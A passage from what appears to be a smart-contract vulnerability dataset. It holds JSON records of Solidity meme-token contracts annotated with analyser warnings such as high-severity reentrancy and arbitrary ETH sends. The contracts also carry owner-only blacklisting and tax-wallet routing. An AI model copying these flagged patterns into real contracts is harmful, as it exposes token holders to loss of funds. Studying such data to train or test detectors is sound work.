IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9dd35f0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 92253da): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 92253da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 550b915\n\t\t// reentrancy-eth | ID: 92253da\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 550b915\n\t\t// unused-return | ID: f702503\n\t\t// reentrancy-eth | ID: 92253da\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 550b915\n\t\t// unused-return | ID: 9dd35f0\n\t\t// reentrancy-eth | ID: 92253da\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 550b915\n swapEnabled = false;\n\n\t\t// reentrancy-eth | ID: 92253da\n tradingOpen = true;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10752.sol",
"size_bytes": 11634,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 83cdaad): PepesGirlFriend.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 83cdaad: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 40e8040): PepesGirlFriend.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 40e8040: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 00d1435): PepesGirlFriend.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 00d1435: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3f1d402): PepesGirlFriend.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 3 * (_tTotal / 100)\n// Recommendation for 3f1d402: Consider ordering multiplication before division.\ncontract PepesGirlFriend is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4cbf999): PepesGirlFriend._taxWallet should be immutable \n\t// Recommendation for 4cbf999: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5312e29): PepesGirlFriend._initialBuyTax should be constant \n\t// Recommendation for 5312e29: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 502cceb): PepesGirlFriend._initialSellTax should be constant \n\t// Recommendation for 502cceb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0b69da): PepesGirlFriend._reduceBuyTaxAt should be constant \n\t// Recommendation for f0b69da: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc8ee0e): PepesGirlFriend._reduceSellTaxAt should be constant \n\t// Recommendation for fc8ee0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d5da29): PepesGirlFriend._preventSwapBefore should be constant \n\t// Recommendation for 0d5da29: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69_420_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pepes GirlFriend\";\n\n string private constant _symbol = unicode\"PepeGF\";\n\n\t// divide-before-multiply | ID: 83cdaad\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 00d1435\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 421d2af): PepesGirlFriend._taxSwapThreshold should be constant \n\t// Recommendation for 421d2af: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 40e8040\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1458e77): PepesGirlFriend._maxTaxSwap should be constant \n\t// Recommendation for 1458e77: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3f1d402\n uint256 public _maxTaxSwap = 3 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c57ac50): PepesGirlFriend.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c57ac50: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6065af): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6065af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0df6d2a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0df6d2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b6065af\n\t\t// reentrancy-benign | ID: 0df6d2a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b6065af\n\t\t// reentrancy-benign | ID: 0df6d2a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4240213): PepesGirlFriend._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4240213: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0df6d2a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b6065af\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 055305e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 055305e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3fe0f9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3fe0f9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 055305e\n\t\t\t\t// reentrancy-eth | ID: 3fe0f9b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 055305e\n\t\t\t\t\t// reentrancy-eth | ID: 3fe0f9b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3fe0f9b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3fe0f9b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3fe0f9b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 055305e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3fe0f9b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3fe0f9b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 055305e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b6065af\n\t\t// reentrancy-events | ID: 055305e\n\t\t// reentrancy-benign | ID: 0df6d2a\n\t\t// reentrancy-eth | ID: 3fe0f9b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cc62142): PepesGirlFriend.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cc62142: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b6065af\n\t\t// reentrancy-events | ID: 055305e\n\t\t// reentrancy-eth | ID: 3fe0f9b\n\t\t// arbitrary-send-eth | ID: cc62142\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 98328b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 98328b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2748ea5): PepesGirlFriend.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2748ea5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 634f446): PepesGirlFriend.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 634f446: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db3d6e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db3d6e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 98328b7\n\t\t// reentrancy-eth | ID: db3d6e4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 98328b7\n\t\t// unused-return | ID: 2748ea5\n\t\t// reentrancy-eth | ID: db3d6e4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 98328b7\n\t\t// unused-return | ID: 634f446\n\t\t// reentrancy-eth | ID: db3d6e4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 98328b7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: db3d6e4\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10753.sol",
"size_bytes": 21632,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Twitter is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1430047): Twitter._taxWallet should be immutable \n\t// Recommendation for 1430047: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bac9c7e): Twitter._initialBuyTax should be constant \n\t// Recommendation for bac9c7e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: efc07c6): Twitter._initialSellTax should be constant \n\t// Recommendation for efc07c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25ae4df): Twitter._finalBuyTax should be constant \n\t// Recommendation for 25ae4df: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2a42f8): Twitter._finalSellTax should be constant \n\t// Recommendation for b2a42f8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b2c301): Twitter._reduceBuyTaxAt should be constant \n\t// Recommendation for 0b2c301: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 133926d): Twitter._reduceSellTaxAt should be constant \n\t// Recommendation for 133926d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5663a05): Twitter._preventSwapBefore should be constant \n\t// Recommendation for 5663a05: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"James Bond Agency\";\n\n string private constant _symbol = unicode\"007\";\n\n uint256 public _maxTxAmount = 30000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 30000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d727a5): Twitter._taxSwapThreshold should be constant \n\t// Recommendation for 6d727a5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4321a28): Twitter._maxTaxSwap should be constant \n\t// Recommendation for 4321a28: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 897d0ce): Twitter.uniswapV2Router should be immutable \n\t// Recommendation for 897d0ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ed9112): Twitter.uniswapV2Pair should be immutable \n\t// Recommendation for 9ed9112: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 518c013): Twitter.sellsPerBlock should be constant \n\t// Recommendation for 518c013: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ede263): Twitter.buysFirstBlock should be constant \n\t// Recommendation for 0ede263: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 101db24): Twitter.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 101db24: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 89e30f8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 89e30f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e67d23a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e67d23a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-benign | ID: e67d23a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-benign | ID: e67d23a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds 